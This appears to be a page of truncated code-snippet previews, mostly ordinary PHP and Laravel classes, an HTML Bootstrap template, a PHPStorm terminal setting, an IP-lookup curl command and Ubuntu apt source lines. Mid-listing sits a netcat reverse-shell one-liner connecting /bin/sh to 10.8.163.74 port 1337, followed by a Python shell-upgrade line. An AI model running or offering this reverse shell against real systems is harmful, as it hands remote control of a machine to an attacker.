Navigate to PHPStorm's Settings > Tools > Terminal and set...
Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"
#!/bin/sh | |
curl https://ipinfo.io/$(curl -s icanhazip.com) |
<?php | |
class PointLocation | |
{ | |
public static function pointInPolygon($point, $vertices): string | |
{ | |
if (self::pointOnVertex($point, $vertices) == true) { | |
return "vertex"; | |
} |
<html> | |
<head> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"> | |
</head> | |
<body> | |
<div class="p-5"> |
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f | |
python -c 'import pty; pty.spawn("/bin/bash")' |
Navigate to PHPStorm's Settings > Tools > Terminal and set...
Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"
When setting these options consider the following:
sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log
<?php | |
class TwoFactorAuthenticationProvider | |
{ | |
protected $engine; | |
public function __construct(Google2FA $engine) | |
{ | |
$this->engine = $engine; | |
} |
<?php | |
namespace App\Http\Middleware; | |
use \RuntimeException; | |
use Closure; | |
use Illuminate\Http\Request; | |
use Illuminate\Support\Carbon; | |
class TimestampProtection | |
{ |
<?php | |
namespace App\Models\Traits; | |
use App\Observers\AvoidDuplicateConstraintSoftDeleteObserver; | |
trait AvoidDuplicateConstraintSoftDelete | |
{ |
deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse | |
deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse | |
deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse | |
deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse | |
deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse | |
deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse | |
deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse |